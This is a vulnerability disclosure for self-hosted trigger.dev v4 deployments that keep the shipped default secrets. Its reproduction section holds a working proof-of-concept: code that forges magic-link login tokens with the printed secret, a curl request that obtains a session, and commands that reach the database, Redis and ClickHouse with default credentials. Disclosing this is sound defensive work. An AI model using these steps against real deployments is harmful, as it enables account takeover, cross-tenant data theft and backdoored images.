Trigger.dev Self-Hosted Deployment: Default Secrets allow Unauthenticated Infrastructure Compromise

## Summary Self-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from `hosting/docker/.env.example` are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise. ## Vulnerability Details The `hosting/docker/.env.example` file contains hardcoded cryptographic secrets: ``` SESSION_SECRET=2818143646516f6fffd707b36f334bbb MAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd ENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a MANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7f ``` The `MAGIC_LINK_SECRET` is used by `remix-auth-email-link@2.0.2` to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The `validateSessionMagicLink` option defaults to `false` in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when `WHITELISTED_EMAILS` is not set (the default for self-hosted). ## Steps to Reproduce ### Setup ```bash cd hosting/docker && cp .env.example .env cd webapp && docker compose up -d cd ../worker && docker compose up -d ``` ### Step 1: Forge magic link token ```javascript const CryptoJS = require('crypto-js'); const secret = '44da78b7bbb0dfe709cf38931d25dcdd'; const payload = JSON.stringify({e: 'attacker@evil.com', c: Date.now()}); const token = encodeURIComponent(CryptoJS.AES.encrypt(payload, secret).toString()); console.log('https://target:8030/magic?token=' + token); ``` ### Step 2: Authenticate via forged magic link ```bash curl -v "http://localhost:8030/magic?token=" # Returns: HTTP 302, set-cookie: __session=eyJ1c2VyIjp7InVzZXJJZCI6ImNtcGg3OTBxZjAwMDR0bjU1ZWM3bHlxN2EifX0=... # User auto-created, session cookie set, redirects to /orgs/new ``` ### Step 3: Verify database access from runner network ```bash docker run --rm --network webapp postgres:14 psql "postgresql://postgres:unsafe-postgres-pw@postgres:5432/main" -c "SELECT id, email FROM \"User\";" # Returns: cmph790qf0004tn55ec7lyq7a | attacker@evil.com ``` ### Step 4: Verify Redis access (no auth) ```bash docker run --rm --network webapp redis:7 redis-cli -h redis PING # Returns: PONG ``` ### Step 5: Verify ClickHouse access ```bash docker run --rm --network webapp curlimages/curl curl -s "http://default:password@clickhouse:8123/?query=SELECT%20version()" # Returns: 25.5.2.47 ``` ## Root Cause 1. Hardcoded secrets in `hosting/docker/.env.example` (lines 9-12) 2. Runner containers placed on infrastructure networks: `DOCKER_RUNNER_NETWORKS: webapp,supervisor` in `hosting/docker/worker/docker-compose.yml:42` 3. Default credentials on all infrastructure services 4. No Redis authentication 5. SESSION_SECRET reused for JWT signing (`apps/webapp/app/services/apiAuth.server.ts:616`) and impersonation tokens ## Impact Complete infrastructure compromise: all tenant data, API keys, encrypted secrets (decryptable with known ENCRYPTION_KEY), user accounts, cross-tenant access. Attacker can modify data, push backdoored Docker images to the registry, and manipulate job queues.